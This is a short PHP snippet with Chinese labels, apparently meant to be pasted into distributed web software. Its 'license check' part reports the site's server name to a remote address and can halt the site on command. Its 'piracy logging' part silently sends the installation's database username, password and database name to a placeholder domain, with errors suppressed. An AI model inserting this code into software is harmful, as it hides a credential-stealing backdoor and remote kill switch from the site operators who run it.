授权检测:
if(!isset($authcode)){
$query=file_get_contents('http://地址/check.php?url='.$_SERVER['SERVER_NAME'].'&authcode='.$authcode);
if($query=json_decode($query,true)) {
if($query['code'] == -1)
exit('
'.$query['msg'].'
');
}
}else{
$query=file_get_contents('http://地址/ajax.php?act=check&url='.$_SERVER['SERVER_NAME']);
if($query=json_decode($query,true)) {
if($query['code'] == -1)
exit(''.$query['link'].'
');
}
}
盗版入库:
@file_get_contents("http://你的域名/js_api/jsds.php?url=http://".$_SERVER['HTTP_HOST']."&user=".$dbconfig['user']."&pwd=".$dbconfig['pwd']."&db=".$dbconfig['dbname']);